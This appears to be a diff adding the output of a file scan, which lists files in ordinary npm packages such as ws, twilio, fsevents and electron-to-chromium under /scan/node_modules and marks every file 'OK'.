+/scan/node_modules/human-signals/build/src/main.js: OK
+/scan/node_modules/normalize-path/LICENSE: OK
+/scan/node_modules/normalize-path/index.js: OK
+/scan/node_modules/normalize-path/README.md: OK
+/scan/node_modules/normalize-path/package.json: OK
+/scan/node_modules/fsevents/fsevents.node: OK
+/scan/node_modules/fsevents/LICENSE: OK
+/scan/node_modules/fsevents/fsevents.js: OK
+/scan/node_modules/fsevents/fsevents.d.ts: OK
+/scan/node_modules/fsevents/README.md: OK
+/scan/node_modules/fsevents/package.json: OK
+/scan/node_modules/ws/LICENSE: OK
+/scan/node_modules/ws/wrapper.mjs: OK
+/scan/node_modules/ws/index.js: OK
+/scan/node_modules/ws/README.md: OK
+/scan/node_modules/ws/package.json: OK
+/scan/node_modules/ws/lib/constants.js: OK
+/scan/node_modules/ws/lib/websocket-server.js: OK
+/scan/node_modules/ws/lib/stream.js: OK
+/scan/node_modules/ws/lib/event-target.js: OK
+/scan/node_modules/ws/lib/permessage-deflate.js: OK
+/scan/node_modules/ws/lib/receiver.js: OK
+/scan/node_modules/ws/lib/sender.js: OK
+/scan/node_modules/ws/lib/subprotocol.js: OK
+/scan/node_modules/ws/lib/limiter.js: OK
+/scan/node_modules/ws/lib/websocket.js: OK
+/scan/node_modules/ws/lib/validation.js: OK
+/scan/node_modules/ws/lib/buffer-util.js: OK
+/scan/node_modules/ws/lib/extension.js: OK
+/scan/node_modules/ws/browser.js: OK
+/scan/node_modules/fast-deep-equal/LICENSE: OK
+/scan/node_modules/fast-deep-equal/react.js: OK
+/scan/node_modules/fast-deep-equal/index.js: OK
+/scan/node_modules/fast-deep-equal/react.d.ts: OK
+/scan/node_modules/fast-deep-equal/README.md: OK
+/scan/node_modules/fast-deep-equal/package.json: OK
+/scan/node_modules/fast-deep-equal/es6/react.js: OK
+/scan/node_modules/fast-deep-equal/es6/index.js: OK
+/scan/node_modules/fast-deep-equal/es6/react.d.ts: OK
+/scan/node_modules/fast-deep-equal/es6/index.d.ts: OK
+/scan/node_modules/fast-deep-equal/index.d.ts: OK
+/scan/node_modules/shebang-command/license: OK
+/scan/node_modules/shebang-command/index.js: OK
+/scan/node_modules/shebang-command/readme.md: OK
+/scan/node_modules/shebang-command/package.json: OK
+/scan/node_modules/electron-to-chromium/full-versions.json: OK
+/scan/node_modules/electron-to-chromium/LICENSE: OK
+/scan/node_modules/electron-to-chromium/full-chromium-versions.js: OK
+/scan/node_modules/electron-to-chromium/versions.json: OK
+/scan/node_modules/electron-to-chromium/index.js: OK
+/scan/node_modules/electron-to-chromium/full-chromium-versions.json: OK
+/scan/node_modules/electron-to-chromium/README.md: OK
+/scan/node_modules/electron-to-chromium/versions.js: OK
+/scan/node_modules/electron-to-chromium/chromium-versions.json: OK
+/scan/node_modules/electron-to-chromium/package.json: OK
+/scan/node_modules/electron-to-chromium/chromium-versions.js: OK
+/scan/node_modules/electron-to-chromium/full-versions.js: OK
+/scan/node_modules/require-from-string/license: OK
+/scan/node_modules/require-from-string/index.js: OK
+/scan/node_modules/require-from-string/readme.md: OK
+/scan/node_modules/require-from-string/package.json: OK
+/scan/node_modules/acorn-walk/LICENSE: OK
+/scan/node_modules/acorn-walk/CHANGELOG.md: OK
+/scan/node_modules/acorn-walk/dist/walk.mjs: OK
+/scan/node_modules/acorn-walk/dist/walk.d.ts: OK
+/scan/node_modules/acorn-walk/dist/walk.js: OK
+/scan/node_modules/acorn-walk/dist/walk.d.mts: OK
+/scan/node_modules/acorn-walk/README.md: OK
+/scan/node_modules/acorn-walk/package.json: OK
+/scan/node_modules/nopt/LICENSE: OK
+/scan/node_modules/nopt/bin/nopt.js: OK
+/scan/node_modules/nopt/README.md: OK
+/scan/node_modules/nopt/package.json: OK
+/scan/node_modules/nopt/lib/nopt.js: OK
+/scan/node_modules/nopt/lib/nopt-lib.js: OK
+/scan/node_modules/nopt/lib/type-defs.js: OK
+/scan/node_modules/nopt/lib/debug.js: OK
+/scan/node_modules/get-func-name/LICENSE: OK
+/scan/node_modules/get-func-name/get-func-name.js: OK
+/scan/node_modules/get-func-name/index.js: OK
+/scan/node_modules/get-func-name/README.md: OK
+/scan/node_modules/get-func-name/package.json: OK
+/scan/node_modules/twilio/LICENSE: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/promisify.d.ts: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/index.js: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/promisify.js.map: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/index.js.map: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/index.d.ts: OK
+/scan/node_modules/twilio/node_modules/agent-base/dist/src/promisify.js: OK
+/scan/node_modules/twilio/node_modules/agent-base/README.md: OK
+/scan/node_modules/twilio/node_modules/agent-base/package.json: OK
+/scan/node_modules/twilio/node_modules/agent-base/src/promisify.ts: OK
+/scan/node_modules/twilio/node_modules/agent-base/src/index.ts: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/agent.js.map: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/index.js: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/agent.d.ts: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/parse-proxy-response.js: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/index.js.map: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/parse-proxy-response.js.map: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/parse-proxy-response.d.ts: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/index.d.ts: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/dist/agent.js: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/README.md: OK
+/scan/node_modules/twilio/node_modules/https-proxy-agent/package.json: OK
+/scan/node_modules/twilio/index.js: OK
+/scan/node_modules/twilio/README.md: OK
+/scan/node_modules/twilio/package.json: OK
+/scan/node_modules/twilio/lib/jwt/ClientCapability.js: OK
+/scan/node_modules/twilio/lib/jwt/taskrouter/util.js: OK
+/scan/node_modules/twilio/lib/jwt/taskrouter/TaskRouterCapability.js: OK
+/scan/node_modules/twilio/lib/jwt/taskrouter/TaskRouterCapability.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/taskrouter/util.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/AccessToken.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/AccessToken.js: OK
+/scan/node_modules/twilio/lib/jwt/ClientCapability.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/validation/RequestCanonicalizer.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/validation/ValidationToken.js: OK
+/scan/node_modules/twilio/lib/jwt/validation/ValidationToken.d.ts: OK
+/scan/node_modules/twilio/lib/jwt/validation/RequestCanonicalizer.js: OK
+/scan/node_modules/twilio/lib/auth_strategy/TokenAuthStrategy.d.ts: OK
+/scan/node_modules/twilio/lib/auth_strategy/AuthStrategy.js: OK
+/scan/node_modules/twilio/lib/auth_strategy/BasicAuthStrategy.d.ts: OK
+/scan/node_modules/twilio/lib/auth_strategy/AuthStrategy.d.ts: OK
+/scan/node_modules/twilio/lib/auth_strategy/NoAuthStrategy.js: OK
+/scan/node_modules/twilio/lib/auth_strategy/BasicAuthStrategy.js: OK
+/scan/node_modules/twilio/lib/auth_strategy/TokenAuthStrategy.js: OK
+/scan/node_modules/twilio/lib/auth_strategy/NoAuthStrategy.d.ts: OK
+/scan/node_modules/twilio/lib/credential_provider/NoAuthCredentialProvider.d.ts: OK
+/scan/node_modules/twilio/lib/credential_provider/OrgsCredentialProvider.js: OK
+/scan/node_modules/twilio/lib/credential_provider/CredentialProvider.js: OK
+/scan/node_modules/twilio/lib/credential_provider/ClientCredentialProvider.js: OK
+/scan/node_modules/twilio/lib/credential_provider/NoAuthCredentialProvider.js: OK
+/scan/node_modules/twilio/lib/credential_provider/CredentialProvider.d.ts: OK
+/scan/node_modules/twilio/lib/credential_provider/OrgsCredentialProvider.d.ts: OK
+/scan/node_modules/twilio/lib/credential_provider/ClientCredentialProvider.d.ts: OK
+/scan/node_modules/twilio/lib/interfaces.js: OK
+/scan/node_modules/twilio/lib/index.js: OK
+/scan/node_modules/twilio/lib/http/request.d.ts: OK
+/scan/node_modules/twilio/lib/http/response.js: OK
+/scan/node_modules/twilio/lib/http/request.js: OK
+/scan/node_modules/twilio/lib/http/bearer_token/TokenManager.js: OK
+/scan/node_modules/twilio/lib/http/bearer_token/ApiTokenManager.js: OK
+/scan/node_modules/twilio/lib/http/bearer_token/OrgsTokenManager.d.ts: OK
+/scan/node_modules/twilio/lib/http/bearer_token/TokenManager.d.ts: OK
+/scan/node_modules/twilio/lib/http/bearer_token/OrgsTokenManager.js: OK
+/scan/node_modules/twilio/lib/http/bearer_token/ApiTokenManager.d.ts: OK
+/scan/node_modules/twilio/lib/http/response.d.ts: OK
+/scan/node_modules/twilio/lib/interfaces.d.ts: OK
+/scan/node_modules/twilio/lib/index.d.ts: OK
+/scan/node_modules/twilio/lib/webhooks/webhooks.d.ts: OK
+/scan/node_modules/twilio/lib/webhooks/webhooks.js: OK
+/scan/node_modules/twilio/lib/base/Domain.d.ts: OK
+/scan/node_modules/twilio/lib/base/TwilioServiceException.d.ts: OK
+/scan/node_modules/twilio/lib/base/utility.js: OK
+/scan/node_modules/twilio/lib/base/Version.d.ts: OK
+/scan/node_modules/twilio/lib/base/RestException.js: OK
+/scan/node_modules/twilio/lib/base/serialize.d.ts: OK
+/scan/node_modules/twilio/lib/base/ValidationClient.d.ts: OK
+/scan/node_modules/twilio/lib/base/RequestClient.d.ts: OK
+/scan/node_modules/twilio/lib/base/BaseTwilio.js: OK
+/scan/node_modules/twilio/lib/base/ApiResponse.js: OK
+/scan/node_modules/twilio/lib/base/Page.js: OK
+/scan/node_modules/twilio/lib/base/utility.d.ts: OK
+/scan/node_modules/twilio/lib/base/BaseTwilio.d.ts: OK
+/scan/node_modules/twilio/lib/base/serialize.js: OK
+/scan/node_modules/twilio/lib/base/TokenPage.js: OK
+/scan/node_modules/twilio/lib/base/Domain.js: OK
+/scan/node_modules/twilio/lib/base/deserialize.d.ts: OK
+/scan/node_modules/twilio/lib/base/Version.js: OK
+/scan/node_modules/twilio/lib/base/values.js: OK
+/scan/node_modules/twilio/lib/base/ValidationClient.js: OK
+/scan/node_modules/twilio/lib/base/deserialize.js: OK
+/scan/node_modules/twilio/lib/base/TwilioServiceException.js: OK
+/scan/node_modules/twilio/lib/base/ApiResponse.d.ts: OK
+/scan/node_modules/twilio/lib/base/RequestClient.js: OK
+/scan/node_modules/twilio/lib/base/TokenPage.d.ts: OK
+/scan/node_modules/twilio/lib/base/RestException.d.ts: OK
+/scan/node_modules/twilio/lib/base/values.d.ts: OK
+/scan/node_modules/twilio/lib/base/Page.d.ts: OK
+/scan/node_modules/twilio/lib/twiml/FaxResponse.d.ts: OK
+/scan/node_modules/twilio/lib/twiml/VoiceResponse.d.ts: OK
+/scan/node_modules/twilio/lib/twiml/MessagingResponse.js: OK
+/scan/node_modules/twilio/lib/twiml/MessagingResponse.d.ts: OK
+/scan/node_modules/twilio/lib/twiml/FaxResponse.js: OK
+/scan/node_modules/twilio/lib/twiml/TwiML.d.ts: OK
+/scan/node_modules/twilio/lib/twiml/TwiML.js: OK
+/scan/node_modules/twilio/lib/twiml/VoiceResponse.js: OK
+/scan/node_modules/twilio/lib/rest/Iam.d.ts: OK
+/scan/node_modules/twilio/lib/rest/frontlineApi/v1/user.js: OK
+/scan/node_modules/twilio/lib/rest/frontlineApi/v1/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/frontlineApi/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/frontlineApi/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Trusthub.js: OK
+/scan/node_modules/twilio/lib/rest/Content.d.ts: OK
+/scan/node_modules/twilio/lib/rest/FlexApi.js: OK
+/scan/node_modules/twilio/lib/rest/IpMessaging.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Chat.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Bulkexports.js: OK
+/scan/node_modules/twilio/lib/rest/IntelligenceBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/PreviewIam.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/conference.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/setting.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/room/participant.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/room/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/conference/conferenceParticipant.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/conference/conferenceParticipant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/setting.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/callSummaries.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/callSummary.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/annotation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/callSummary.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/event.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/annotation.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/event.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/metric.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/call/metric.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/room.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/conference.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/callSummaries.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v1/room.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/V1.js: OK
+/scan/node_modules/twilio/lib/rest/insights/V2.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/inbound.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/report.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/outbound.d.ts: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/report.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/outbound.js: OK
+/scan/node_modules/twilio/lib/rest/insights/v2/inbound.js: OK
+/scan/node_modules/twilio/lib/rest/insights/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/InsightsBase.js: OK
+/scan/node_modules/twilio/lib/rest/TrusthubBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/IpMessagingBase.js: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/credential.js: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service/notification.js: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service/binding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service/binding.js: OK
+/scan/node_modules/twilio/lib/rest/notify/v1/service/notification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/notify/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/notify/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Trusthub.d.ts: OK
+/scan/node_modules/twilio/lib/rest/SupersimBase.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginVersionArchive.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/channel.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfigurationArchive.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/provisioningStatus.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnaires.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnairesQuestion.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsAssessmentsComment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/flexFlow.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnairesQuestion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfigurationArchive.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginRelease.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/createFlexInstance.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/webChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginArchive.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/configuration.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsAssessmentsComment.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/plugin/pluginVersions.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/plugin/pluginVersions.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/provisioningStatus.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSession.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/plugin.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnairesCategory.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSettingsAnswerSets.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/assessments.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSession.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/webChannel.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/configuration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginArchive.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginVersionArchive.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsUserRoles.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSettingsAnswerSets.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/assessments.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsConversations.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSettingsComment.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnaires.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/flexFlow.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsConversations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginRelease.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsQuestionnairesCategory.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfiguration/configuredPlugin.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/pluginConfiguration/configuredPlugin.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/createFlexInstance.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionChannelParticipant.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionTransfer.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionTransfer.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionChannelParticipant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionChannelInvite.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel/interactionChannelInvite.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/interaction/interactionChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSettingsComment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSegments.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/plugin.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsSegments.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v1/insightsUserRoles.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/V1.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/V2.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v2/flexUser.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v2/webChannels.js: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v2/flexUser.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/v2/webChannels.d.ts: OK
+/scan/node_modules/twilio/lib/rest/flexApi/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/engagementContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/step.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/step/stepContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/step/stepContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/step.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement/engagementContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionStep.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionStep.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionStep/executionStepContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionStep/executionStepContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution/executionContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/engagement.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v1/flow/execution.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/V1.js: OK
+/scan/node_modules/twilio/lib/rest/studio/V2.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flowValidate.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flowValidate.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/flowTestUser.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionStep.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionStep.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionStep/executionStepContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionStep/executionStepContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionContext.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution/executionContext.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/flowRevision.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/flowRevision.js: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/execution.d.ts: OK
+/scan/node_modules/twilio/lib/rest/studio/v2/flow/flowTestUser.js: OK
+/scan/node_modules/twilio/lib/rest/studio/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Proxy.js: OK
+/scan/node_modules/twilio/lib/rest/Events.js: OK
+/scan/node_modules/twilio/lib/rest/EventsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/VideoBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ProxyBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Conversations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/compositionSettings.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/recordingRules.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/subscribeRules.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/anonymize.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/publishedTrack.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/subscribedTrack.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/anonymize.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/subscribeRules.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/subscribedTrack.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant/publishedTrack.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/transcriptions.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/recordingRules.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/transcriptions.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/roomRecording.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/roomRecording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/compositionSettings.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/compositionHook.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/recordingSettings.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/compositionHook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/recording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/recording.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/recordingSettings.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/composition.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room.js: OK
+/scan/node_modules/twilio/lib/rest/video/v1/composition.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/v1/room.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/video/V1.js: OK
+/scan/node_modules/twilio/lib/rest/StudioBase.js: OK
+/scan/node_modules/twilio/lib/rest/Messaging.d.ts: OK
+/scan/node_modules/twilio/lib/rest/OauthBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/MarketplaceBase.js: OK
+/scan/node_modules/twilio/lib/rest/monitor/v1/event.js: OK
+/scan/node_modules/twilio/lib/rest/monitor/v1/alert.d.ts: OK
+/scan/node_modules/twilio/lib/rest/monitor/v1/event.d.ts: OK
+/scan/node_modules/twilio/lib/rest/monitor/v1/alert.js: OK
+/scan/node_modules/twilio/lib/rest/monitor/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/monitor/V1.js: OK
+/scan/node_modules/twilio/lib/rest/LookupsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/endUserType.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceTollfreeInquiries.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceRegistrationInquiries.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/supportingDocumentType.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/policies.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/trustProducts.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceRegistrationInquiries.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/endUser.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/supportingDocument.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceInquiries.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/endUser.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceTollfreeInquiries.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/supportingDocumentType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/supportingDocument.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/policies.js: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/complianceInquiries.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trusthub/v1/customerProfiles/customerProfilesEntityAssignments.js: OK
